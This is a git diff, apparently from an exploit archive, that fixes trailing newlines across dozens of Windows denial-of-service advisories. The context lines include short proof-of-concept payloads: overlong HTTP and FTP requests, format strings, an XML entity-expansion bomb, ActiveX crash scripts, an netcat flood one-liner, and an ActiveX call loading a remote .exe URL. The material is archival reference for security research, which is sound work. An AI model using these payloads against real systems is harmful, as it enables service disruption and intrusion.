service vulnerability has been reported for Xeneo web server. When the web server processes a malformed HTTP request, it will crash and lead to the denial of service condition. http://www.example.com/% -http://www.example.com/%A \ No newline at end of file +http://www.example.com/%A \ No newline at end of file diff --git a/platforms/windows/dos/22019.pl b/platforms/windows/dos/22019.pl index 0c20026c3..3603bc660 100755 --- a/platforms/windows/dos/22019.pl +++ b/platforms/windows/dos/22019.pl @@ -36,4 +36,4 @@ close $so; print "-->"; print "\tnow test if the distant host is down\n"; -exit; \ No newline at end of file +exit; \ No newline at end of file diff --git a/platforms/windows/dos/22117.txt b/platforms/windows/dos/22117.txt index 612aa77e9..d56e89f84 100755 --- a/platforms/windows/dos/22117.txt +++ b/platforms/windows/dos/22117.txt @@ -4,4 +4,4 @@ A denial of service vulnerability has been reported for iCal. The vulnerability Restarting the service is necessary to restore functionality. -http//target/* \ No newline at end of file +http//target/* \ No newline at end of file diff --git a/platforms/windows/dos/22118.txt b/platforms/windows/dos/22118.txt index 9fce5ba87..77a87a28c 100755 --- a/platforms/windows/dos/22118.txt +++ b/platforms/windows/dos/22118.txt @@ -5,4 +5,4 @@ A buffer overflow vulnerability has been reported for iCal. The vulnerability oc Restarting the service is necessary to restore functionality. nc target 80 -AAAA \ No newline at end of file +AAAA \ No newline at end of file diff --git a/platforms/windows/dos/22119.html b/platforms/windows/dos/22119.html index 3cd2b0d0c..732efd7a0 100755 --- a/platforms/windows/dos/22119.html +++ b/platforms/windows/dos/22119.html @@ -14,4 +14,4 @@ if(page=="crash"){ main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">crash!</a>";} } </script> </head> -<body onLoad="displayPage('onload');"> <hr> <span id="main"></span> </body> </html> \ No newline at end of file +<body onLoad="displayPage('onload');"> <hr> <span id="main"></span> </body> </html> \ No newline at end of file diff --git a/platforms/windows/dos/22240.txt b/platforms/windows/dos/22240.txt index 494906149..1afd102e4 100755 --- a/platforms/windows/dos/22240.txt +++ b/platforms/windows/dos/22240.txt @@ -30,4 +30,4 @@ String(new byte[30000]))); - - exception.printStackTrace(); - - } - - } -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/windows/dos/22245.txt b/platforms/windows/dos/22245.txt index 722d1b50b..8750290cf 100755 --- a/platforms/windows/dos/22245.txt +++ b/platforms/windows/dos/22245.txt @@ -13,4 +13,4 @@ mkdir \\?\c:\%A%\%B%c: cd cd AAAAAAAAAAAA* cd AAAAAAAAAAAA* cd BBBBBBBBBBBB* -cd .. \ No newline at end of file +cd .. \ No newline at end of file diff --git a/platforms/windows/dos/22255.txt b/platforms/windows/dos/22255.txt index 7951452c2..b3d55919a 100755 --- a/platforms/windows/dos/22255.txt +++ b/platforms/windows/dos/22255.txt @@ -13,4 +13,4 @@ RTF files may be opened automatically by Internet Explorer and Outlook. {\colortbl ;\red255\green0\blue255;} \viewkind4\uc1\pard\cf1\kerning2\f0 \fs18121111111111111111111111111111111110000 www.yoursft.com\fs20\par -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/windows/dos/22302.rb b/platforms/windows/dos/22302.rb index bf39471a5..cc00a3c64 100755 --- a/platforms/windows/dos/22302.rb +++ b/platforms/windows/dos/22302.rb @@ -1,7 +1,7 @@ # Exploit Title: hMailServer 5.3.3 IMAP Remote Crash PoC # Date: 10/27/2012 -# Vendor Homepage: http://hmailserver -# Software Link: http://www.hmailserver/index.php?page=background_download_file&downloadid=207 +# Vendor Homepage: http://hmailserver.com +# Software Link: http://www.hmailserver.com/index.php?page=background_download_file&downloadid=207 # Version: hMailServer 5.3.3 - Build 1879 # Tested on: # - hMailServer 5.3.3 with default settings diff --git a/platforms/windows/dos/22328.txt b/platforms/windows/dos/22328.txt index 69bad98c3..45a1410e3 100755 --- a/platforms/windows/dos/22328.txt +++ b/platforms/windows/dos/22328.txt @@ -18,4 +18,4 @@ SET A = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA SET B = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBB mkdir \\?\c:\%A% -mkdir \\?\c:\%B% \ No newline at end of file +mkdir \\?\c:\%B% \ No newline at end of file diff --git a/platforms/windows/dos/22447.txt b/platforms/windows/dos/22447.txt index 1c5ffef13..077f44514 100755 --- a/platforms/windows/dos/22447.txt +++ b/platforms/windows/dos/22447.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7246/info It has been reported that Instant TopTools does not properly handle some types of requests. Because of this, a remote user could potentially deny service to a host using the vulnerable software. -http://www.example.com/cgi-bin/hpnst.exe?c=p+i=hpnst.exe \ No newline at end of file +http://www.example.com/cgi-bin/hpnst.exe?c=p+i=hpnst.exe \ No newline at end of file diff --git a/platforms/windows/dos/22550.pl b/platforms/windows/dos/22550.pl index 72f4577cd..0b97abaf1 100755 --- a/platforms/windows/dos/22550.pl +++ b/platforms/windows/dos/22550.pl @@ -14,4 +14,4 @@ my $filename = "." . "\xCC" x (int(rand(0x20000)) + 0x100); print "Content-type: text/html\r\n"; print qq~Content-Disposition: filename="$filename"\r\n~; print "\r\n"; -print "<html><body>Love & Peace :)</body></html>\r\n"; \ No newline at end of file +print "<html><body>Love & Peace :)</body></html>\r\n"; \ No newline at end of file diff --git a/platforms/windows/dos/22553.txt b/platforms/windows/dos/22553.txt index 1f2cc9ab1..ae1c06adf 100755 --- a/platforms/windows/dos/22553.txt +++ b/platforms/windows/dos/22553.txt @@ -4,4 +4,4 @@ Microsoft BizTalk Server 2002 contains a boundary condition error that could all It is important to note that the HTTP Receiver is an optional component and is not installed by default. -POST /Site/biztalkhttpreceive.dll?XXXX...(more than 250 chars) HTTP/1.0 \ No newline at end of file +POST /Site/biztalkhttpreceive.dll?XXXX...(more than 250 chars) HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/dos/22608.txt b/platforms/windows/dos/22608.txt index 3bcf1f540..0bfcf2a2f 100755 --- a/platforms/windows/dos/22608.txt +++ b/platforms/windows/dos/22608.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7617/info A denial of service vulnerability has been reported for Snowblind. The vulnerability will cause the web server to crash when processing a malformed HTTP request. -http://localhost/</ \ No newline at end of file +http://localhost/</ \ No newline at end of file diff --git a/platforms/windows/dos/22610.txt b/platforms/windows/dos/22610.txt index 4e8880f05..eeaf2efd1 100755 --- a/platforms/windows/dos/22610.txt +++ b/platforms/windows/dos/22610.txt @@ -4,4 +4,4 @@ Snowblind Web Server has been reported prone to a buffer overflow vulnerability. Although unconfirmed, this vulnerability may be exploited to execute attacker-supplied code with the privileges of the vulnerable web server. -GET /fff[ x 129 ]ffff HTTP/1.0 \ No newline at end of file +GET /fff[ x 129 ]ffff HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/dos/22621.txt b/platforms/windows/dos/22621.txt index e34a2d6a4..2e749847f 100755 --- a/platforms/windows/dos/22621.txt +++ b/platforms/windows/dos/22621.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7639/info It has been reported that clicking a malformed 'callto:' URI in Internet Explorer will cause Windows 2000 systems to crash, resulting in a blue screen. This appears to be due to a boundary condition error in one of the URI parameters of the CALLTO protocol handler. -callto:msils/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAAAAAAAAA+type=directory \ No newline at end of file +callto:msils/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAAAAAAAAA+type=directory \ No newline at end of file diff --git a/platforms/windows/dos/22666.txt b/platforms/windows/dos/22666.txt index 558f1fe40..0bc365740 100755 --- a/platforms/windows/dos/22666.txt +++ b/platforms/windows/dos/22666.txt @@ -4,4 +4,4 @@ A buffer overflow vulnerability has been reported for Tornado www-Server. The vu Although unconfirmed, it may be possible to exploit this vulnerability to execute malicious attacker-supplied code. -http://www.example.com/aaa[471]aaa \ No newline at end of file +http://www.example.com/aaa[471]aaa \ No newline at end of file diff --git a/platforms/windows/dos/22667.txt b/platforms/windows/dos/22667.txt index 6cabcf288..7ffff928b 100755 --- a/platforms/windows/dos/22667.txt +++ b/platforms/windows/dos/22667.txt @@ -11,4 +11,4 @@ pass XXXX +OK Access granted list -0 dele -0000 -quit \ No newline at end of file +quit \ No newline at end of file diff --git a/platforms/windows/dos/22668.txt b/platforms/windows/dos/22668.txt index ac2b97547..0cbdf06a4 100755 --- a/platforms/windows/dos/22668.txt +++ b/platforms/windows/dos/22668.txt @@ -13,4 +13,4 @@ Or Mail From : <ccccc....[Buffer size 2100 Bytes @xyz.com]> Or Rcpt to : <ccccc....[Buffer size 2100 Bytes @xyz.com]> -Quit \ No newline at end of file +Quit \ No newline at end of file diff --git a/platforms/windows/dos/22759.txt b/platforms/windows/dos/22759.txt index 2ae927a5d..de1d8c508 100755 --- a/platforms/windows/dos/22759.txt +++ b/platforms/windows/dos/22759.txt @@ -4,4 +4,4 @@ A vulnerability has been discovered in WebBBS Pro, which may allow a remote atta It has been reported that a remote attacker may cause the web server to throw an exception by making a malformed HTTP request. -http://www.example.com/* \ No newline at end of file +http://www.example.com/* \ No newline at end of file diff --git a/platforms/windows/dos/22774.txt b/platforms/windows/dos/22774.txt index b07853fb1..ca242b45c 100755 --- a/platforms/windows/dos/22774.txt +++ b/platforms/windows/dos/22774.txt @@ -6,4 +6,4 @@ A vulnerability has been reported for myServer that may result in a denial of se Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. -[Ctrl]+C \ No newline at end of file +[Ctrl]+C \ No newline at end of file diff --git a/platforms/windows/dos/22780.txt b/platforms/windows/dos/22780.txt index 4467e9af3..95ad2ce50 100755 --- a/platforms/windows/dos/22780.txt +++ b/platforms/windows/dos/22780.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/7926/info It has been reported that Mailtraq does not reliably handle format strings in some SMTP protocol fields. This may cause a system to become unstable and crash, allowing a remote attacker to deny service to the system. @@%s%p%n -%s%p%n \ No newline at end of file +%s%p%n \ No newline at end of file diff --git a/platforms/windows/dos/22790.txt b/platforms/windows/dos/22790.txt index b4c129f7e..31031f9bb 100755 --- a/platforms/windows/dos/22790.txt +++ b/platforms/windows/dos/22790.txt @@ -6,4 +6,4 @@ The denial of service occurs when the server receives several successive malform CWD ..%c0%af....%c0%af....%c0%af....%c0%af....%c0%af....%c0%af.. CWD -\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..CWD /..%c0%af../..%c0%af../ \ No newline at end of file +\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..CWD /..%c0%af../..%c0%af../ \ No newline at end of file diff --git a/platforms/windows/dos/22794.txt b/platforms/windows/dos/22794.txt index df6debb02..2575777e0 100755 --- a/platforms/windows/dos/22794.txt +++ b/platforms/windows/dos/22794.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/7954/info It has been reported that Proxomitron does not properly handle some string types. Because of this, an attacker can cause the server to become unstable and crash. GET /../..0%%../ * (4504 chars) -GET \..\..\..\ * (4504 chars) \ No newline at end of file +GET \..\..\..\ * (4504 chars) \ No newline at end of file diff --git a/platforms/windows/dos/23086.txt b/platforms/windows/dos/23086.txt index 2642af510..5176e2b4f 100755 --- a/platforms/windows/dos/23086.txt +++ b/platforms/windows/dos/23086.txt @@ -25,4 +25,4 @@ finally MyStream.Free; end; Memo1.Lines.Add('finish'); -end; \ No newline at end of file +end; \ No newline at end of file diff --git a/platforms/windows/dos/23117.txt b/platforms/windows/dos/23117.txt index 9492196e6..d7569f287 100755 --- a/platforms/windows/dos/23117.txt +++ b/platforms/windows/dos/23117.txt @@ -5,4 +5,4 @@ A buffer overflow vulnerability has been reported in FTP Desktop. The vulnerabil (FTP Desktop connected...) PADDING EBP EIP 220 [229xA][4xB][4xX] -(Access violation when executing 0x58585858) // 4xX \ No newline at end of file +(Access violation when executing 0x58585858) // 4xX \ No newline at end of file diff --git a/platforms/windows/dos/23118.txt b/platforms/windows/dos/23118.txt index 806db6d54..5642e3a8d 100755 --- a/platforms/windows/dos/23118.txt +++ b/platforms/windows/dos/23118.txt @@ -14,4 +14,4 @@ Password: (FTP Desktop Sends 'PASS password') PADDING EBP EIP 331 [229xA][4xB][4xX] -(Access violation when executing 0x58585858) // 4xX \ No newline at end of file +(Access violation when executing 0x58585858) // 4xX \ No newline at end of file diff --git a/platforms/windows/dos/23124.txt b/platforms/windows/dos/23124.txt index 31edba662..4f0817527 100755 --- a/platforms/windows/dos/23124.txt +++ b/platforms/windows/dos/23124.txt @@ -9,4 +9,4 @@ Winamp MIDI plugin, IN_MIDI.DLL has been reported prone to a buffer overflow iss 2 bytes Divisions 0001 4 bytes Track Header "MTrk" 4 bytes Track data size ffffffff <--- bug -... "aaaaaaaaaaaaaaaaaaaaa..." <--- fun \ No newline at end of file +... "aaaaaaaaaaaaaaaaaaaaa..." <--- fun \ No newline at end of file diff --git a/platforms/windows/dos/23130.txt b/platforms/windows/dos/23130.txt index f4d3fc801..aace276df 100755 --- a/platforms/windows/dos/23130.txt +++ b/platforms/windows/dos/23130.txt @@ -10,4 +10,4 @@ It should be noted that only the WWW.exe process on a Windows system will crash Trying 127.0.0.1... Connected to 127.0.0.1 Escape character is '^]'. -GET /../.. HTTP/1.0 \ No newline at end of file +GET /../.. HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/dos/23139.txt b/platforms/windows/dos/23139.txt index c1eea0e25..f3a686783 100755 --- a/platforms/windows/dos/23139.txt +++ b/platforms/windows/dos/23139.txt @@ -12,4 +12,4 @@ Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Moozatech (compatible; Moozatech Scanner) Host: 12.12.12.12 -Connection: Keep-Alive \ No newline at end of file +Connection: Keep-Alive \ No newline at end of file diff --git a/platforms/windows/dos/23165.txt b/platforms/windows/dos/23165.txt index ee82e9914..ef20af49e 100755 --- a/platforms/windows/dos/23165.txt +++ b/platforms/windows/dos/23165.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8666/info A problem has been identified in Sun Java when handling XML documents with specific constructs. Because of this, an attacker with the ability to cause the software to parse malicious XML documents may have the ability to crash a system hosting Sun Java. -<?xml version="1.0" encoding ="UTF-8"?> <!DOCTYPE foobar[ <!ENTITY x100 "foobar"> <!ENTITY x99 "&x100;&x100;"> <!ENTITY x98 "&x99;&x99;"> ... <!ENTITY x2 "&x3;&x3;"> <!ENTITY x1 "&x2;&x2;"> ]><SOAP-ENV:Envelope xmlns:SOAP-ENV=...><SOAP-ENV:Body><ns1:aaa xmlns:ns1="urn:aaa" SOAP-ENV:encodingStyle="..."><foobar xsi:type="xsd:string">&x1;</foobar></ns1:aaa></SOAP-ENV:Body></SOAP-ENV:Envelope> \ No newline at end of file +<?xml version="1.0" encoding ="UTF-8"?> <!DOCTYPE foobar[ <!ENTITY x100 "foobar"> <!ENTITY x99 "&x100;&x100;"> <!ENTITY x98 "&x99;&x99;"> ... <!ENTITY x2 "&x3;&x3;"> <!ENTITY x1 "&x2;&x2;"> ]><SOAP-ENV:Envelope xmlns:SOAP-ENV=...><SOAP-ENV:Body><ns1:aaa xmlns:ns1="urn:aaa" SOAP-ENV:encodingStyle="..."><foobar xsi:type="xsd:string">&x1;</foobar></ns1:aaa></SOAP-ENV:Body></SOAP-ENV:Envelope> \ No newline at end of file diff --git a/platforms/windows/dos/23191.txt b/platforms/windows/dos/23191.txt index b3e79d7c8..4bcb18d1e 100755 --- a/platforms/windows/dos/23191.txt +++ b/platforms/windows/dos/23191.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8712/info Savant Web Server is prone to a denial of service vulnerability. The server reportedly goes into an infinite loop upon receipt of a specially crafted HTTP GET request that causes the server to repeatedly redirect to the default page. -http://www.example.com/%x \ No newline at end of file +http://www.example.com/%x \ No newline at end of file diff --git a/platforms/windows/dos/23215.html b/platforms/windows/dos/23215.html index 1a788f51b..70552f3a5 100755 --- a/platforms/windows/dos/23215.html +++ b/platforms/windows/dos/23215.html @@ -22,4 +22,4 @@ In 'two' <div id="three"> In 'three' </div> -</body> \ No newline at end of file +</body> \ No newline at end of file diff --git a/platforms/windows/dos/23235.txt b/platforms/windows/dos/23235.txt index c928570a0..1a7730dcc 100755 --- a/platforms/windows/dos/23235.txt +++ b/platforms/windows/dos/23235.txt @@ -22,4 +22,4 @@ Escape character is '^]'. 0 0 0 -0 \ No newline at end of file +0 \ No newline at end of file diff --git a/platforms/windows/dos/23293.txt b/platforms/windows/dos/23293.txt index ce6466c54..f55b7165e 100755 --- a/platforms/windows/dos/23293.txt +++ b/platforms/windows/dos/23293.txt @@ -4,4 +4,4 @@ Yahoo! Messenger is prone to a remotely exploitable buffer overrun vulnerability An attacker may theoretically exploit this condition to execute arbitrary code on a client system. This condition can be exploited via a malicious 'sendfile' link. -YMSGR:sendfile?[victim_yahooID]+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&c%c:\[somefile] \ No newline at end of file +YMSGR:sendfile?[victim_yahooID]+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&c%c:\[somefile] \ No newline at end of file diff --git a/platforms/windows/dos/23388.txt b/platforms/windows/dos/23388.txt index 2c65ba95a..2b7e2c3de 100755 --- a/platforms/windows/dos/23388.txt +++ b/platforms/windows/dos/23388.txt @@ -7,4 +7,4 @@ The issue presents itself due to a flaw in download functionality that is provid cmd dlfile server.cfg cmd dlfile addons/amx/users.ini cmd dlfile addons/amx/mysql.cfg -cmd dlfile maps/de_torn.bsp \ No newline at end of file +cmd dlfile maps/de_torn.bsp \ No newline at end of file diff --git a/platforms/windows/dos/23480.txt b/platforms/windows/dos/23480.txt index 92dcba925..4f950c2b1 100755 --- a/platforms/windows/dos/23480.txt +++ b/platforms/windows/dos/23480.txt @@ -4,4 +4,4 @@ It has been reported that Surfboard httpd is prone to a remote buffer overflow c Surfboard version 1.1.9 has been reported to be prone to this issue, however, other versions may be affected as well. -GET /AAAAAAAAAAAA..x1024++ HTTP/1.1\r\n\r\n \ No newline at end of file +GET /AAAAAAAAAAAA..x1024++ HTTP/1.1\r\n\r\n \ No newline at end of file diff --git a/platforms/windows/dos/23506.txt b/platforms/windows/dos/23506.txt index 1e103784d..5944ef5ff 100755 --- a/platforms/windows/dos/23506.txt +++ b/platforms/windows/dos/23506.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9337/info GoodTech Telnet Server is reportedly prone to a denial of service vulnerability. This condition occurs prior to authentication when excessive data is received by the server. Exploitation could result in memory corruption, which could in turn be leveraged to execute arbitrary code, though this has not been confirmed by Symantec. -perl -e 'print "a"x8245' | nc www.example.com 23 \ No newline at end of file +perl -e 'print "a"x8245' | nc www.example.com 23 \ No newline at end of file diff --git a/platforms/windows/dos/23512.txt b/platforms/windows/dos/23512.txt index cb45aca42..94ac693b8 100755 --- a/platforms/windows/dos/23512.txt +++ b/platforms/windows/dos/23512.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9348/info Surfnet is prone to a denial of service vulnerability via the CMD_CREDITCARD_CHARGE command. By issuing this command with malformed arguments, it is possible to crash the software. When the software crashes, it will drop the kiosk user into the underlying operating system. -C:\Surfnet\WWWRoot\CMD_CREDITCARD_CHARGE:Charge=20 \ No newline at end of file +C:\Surfnet\WWWRoot\CMD_CREDITCARD_CHARGE:Charge=20 \ No newline at end of file diff --git a/platforms/windows/dos/23602.txt b/platforms/windows/dos/23602.txt index 9f2bbf881..33bb8090c 100755 --- a/platforms/windows/dos/23602.txt +++ b/platforms/windows/dos/23602.txt @@ -4,4 +4,4 @@ A vulnerability has been reported to exist in mIRC that may allow a remote attac It has been reported that the issue will present itself only in certain circumstances. Although unconfirmed, due to the nature of this vulnerability it has been conjectured that a remote attacker may potentially lever this issue to have arbitrary code executed in the context of the affected mIRC client. -alias mirc612 { echo -a *** Sending exploit to $$1 | .raw PRIVMSG $$1 $+(:,$chr(1),DCC) send $str($rand(a,z) $+ $chr(256),250) $+ 0 $+ .txt 2130706433 $+(8192,$chr(1)) } \ No newline at end of file +alias mirc612 { echo -a *** Sending exploit to $$1 | .raw PRIVMSG $$1 $+(:,$chr(1),DCC) send $str($rand(a,z) $+ $chr(256),250) $+ 0 $+ .txt 2130706433 $+(8192,$chr(1)) } \ No newline at end of file diff --git a/platforms/windows/dos/23614.txt b/platforms/windows/dos/23614.txt index 8f9e17177..cee3fdb67 100755 --- a/platforms/windows/dos/23614.txt +++ b/platforms/windows/dos/23614.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9519/info A problem has been identified in the handling of specific types of requests by SurfNOW. Upon receiving specially crafted HTTP GET requests, it is possible for a remote attacker to crash a vulnerable implementation, denying service to the user. -GET \aaaaaaaaaaaaa[ 490 kb of a ]aaaa HTTP/1.1\n\n\n \ No newline at end of file +GET \aaaaaaaaaaaaa[ 490 kb of a ]aaaa HTTP/1.1\n\n\n \ No newline at end of file diff --git a/platforms/windows/dos/23633.txt b/platforms/windows/dos/23633.txt index fab48edfd..7ec1b7d9b 100755 --- a/platforms/windows/dos/23633.txt +++ b/platforms/windows/dos/23633.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/9549/info A vulnerability has been reported in the Crob FTP server, which occurs due to a lack of validation of input from the user. By issuing a malformed request a malevolent user may be able to force the server to crash, denying service to legitimate users. dir -......................................................................................................................................................................................................................................................./* \ No newline at end of file +......................................................................................................................................................................................................................................................./* \ No newline at end of file diff --git a/platforms/windows/dos/23911.txt b/platforms/windows/dos/23911.txt index c3beb8c6e..246e4efe5 100755 --- a/platforms/windows/dos/23911.txt +++ b/platforms/windows/dos/23911.txt @@ -19,4 +19,4 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" Set mymy2= CreateObject("MSWebDVD.MSWebDVD.1") mymy2.AcceptParentalLevelChange False, "xc", a -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/dos/23912.txt b/platforms/windows/dos/23912.txt index 1d0025d5a..bb18ba051 100755 --- a/platforms/windows/dos/23912.txt +++ b/platforms/windows/dos/23912.txt @@ -9,4 +9,4 @@ This vulnerability is reported to be tested in Flash Player 7.0 r19 running on W <script language=vbscript> Set mymy2= CreateObject("ShockwaveFlash.ShockwaveFlash.1") mymy2.LoadMovie 1,"c6ool.swf" -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/dos/23915.txt b/platforms/windows/dos/23915.txt index 8a3a8c94d..8c61fd012 100755 --- a/platforms/windows/dos/23915.txt +++ b/platforms/windows/dos/23915.txt @@ -12,4 +12,4 @@ Set cooler = CreateObject("Photoshop.Application.8" ) <script language=vbscript> dim cooler Set cooler = CreateObject("Photoshop.PhotoCDOpenOptions.8" ) -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/dos/23917.txt b/platforms/windows/dos/23917.txt index e74c4a423..9e25b3c54 100755 --- a/platforms/windows/dos/23917.txt +++ b/platforms/windows/dos/23917.txt @@ -13,4 +13,4 @@ Set mymy = CreateObject("ASControl.ReportHebrew.1" ) a="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" mymy.Internacional a -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/dos/23918.txt b/platforms/windows/dos/23918.txt index 34acf40c3..65e8e7605 100755 --- a/platforms/windows/dos/23918.txt +++ b/platforms/windows/dos/23918.txt @@ -9,4 +9,4 @@ Panda ActiveScan 5.0 has been reported to be prone to this issue. dim mymy Set mymy = CreateObject("ASControls.InstallEngineCtl.1" ) mymy.SetSitesFile "http://rafiwarez.tripod.com/ncx.exe", ASIA, hebrew -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/dos/23920.txt b/platforms/windows/dos/23920.txt index 3d72e731c..9903d6422 100755 --- a/platforms/windows/dos/23920.txt +++ b/platforms/windows/dos/23920.txt @@ -100,4 +100,4 @@ mymy2.ScanParam = "c:\" & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & a & "\" mymy2.Scan -</script>Press O.K<BR>Press O.K<BR>Now Close The Window \ No newline at end of file +</script>Press O.K<BR>Press O.K<BR>Now Close The Window \ No newline at end of file diff --git a/platforms/windows/dos/23925.txt b/platforms/windows/dos/23925.txt index 8a16c55a8..9178548a3 100755 --- a/platforms/windows/dos/23925.txt +++ b/platforms/windows/dos/23925.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/10075/info Kerio Personal Firewall includes Web URI Filtering functionality. A denial of service vulnerability has been reported to affect Kerio Personal Firewall when Web Filtering functionality is enabled. The issue presents itself when Web Filtering procedures handle a URI that contains certain characters. -http://www.example.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=^S^R^S \ No newline at end of file +http://www.example.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=^S^R^S \ No newline at end of file diff --git a/platforms/windows/dos/23927.txt b/platforms/windows/dos/23927.txt index 53ee7144c..87a011829 100755 --- a/platforms/windows/dos/23927.txt +++ b/platforms/windows/dos/23927.txt @@ -4,4 +4,4 @@ A denial of service vulnerability has been reported to affect Opera Web Browser. A remote attacker may exploit this vulnerability to cause Opera to crash. -<iframe src="?" height=0 width=0> \ No newline at end of file +<iframe src="?" height=0 width=0> \ No newline at end of file diff --git a/platforms/windows/dos/24144.txt b/platforms/windows/dos/24144.txt index b2f88da5d..280282227 100755 --- a/platforms/windows/dos/24144.txt +++ b/platforms/windows/dos/24144.txt @@ -17,4 +17,4 @@ HEAD: 1. HEAD /something HTTP/1.1 - 2. HEAD /something HTTP/1.1\n -- \ No newline at end of file +- \ No newline at end of file diff --git a/platforms/windows/dos/24288.txt b/platforms/windows/dos/24288.txt index 35833c6f5..162515da5 100755 --- a/platforms/windows/dos/24288.txt +++ b/platforms/windows/dos/24288.txt @@ -19,4 +19,4 @@ next ' just do what you like set fso = createobject("scripting.filesystemobject") -fso.createtextfile("c:\byenav.txt").write "=)" \ No newline at end of file +fso.createtextfile("c:\byenav.txt").write "=)" \ No newline at end of file diff --git a/platforms/windows/dos/24416.txt b/platforms/windows/dos/24416.txt index b842cd5a9..ba09bfe15 100755 --- a/platforms/windows/dos/24416.txt +++ b/platforms/windows/dos/24416.txt @@ -15,4 +15,4 @@ User (ibm:(none)): ftp Password: 230 user logged in ftp> cd a../a -Connection closed by remote host. \ No newline at end of file +Connection closed by remote host. \ No newline at end of file diff --git a/platforms/windows/dos/24426.html b/platforms/windows/dos/24426.html index 6dd840d9d..b0fa78cff 100755 --- a/platforms/windows/dos/24426.html +++ b/platforms/windows/dos/24426.html @@ -15,4 +15,4 @@ document.crash.text; <body onLoad="dSend()"> <embed src="" type="CCCC" name="crash" > </embed> -</body></html> \ No newline at end of file +</body></html> \ No newline at end of file diff --git a/platforms/windows/dos/24775.html b/platforms/windows/dos/24775.html index ef2472b4f..a08a23c1e 100755 --- a/platforms/windows/dos/24775.html +++ b/platforms/windows/dos/24775.html @@ -5,4 +5,4 @@ Microsoft Internet is prone to a vulnerability that may result in a browser cras <HTML> <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> <SCRIPT> a = new Array(); while (1) { (a = new 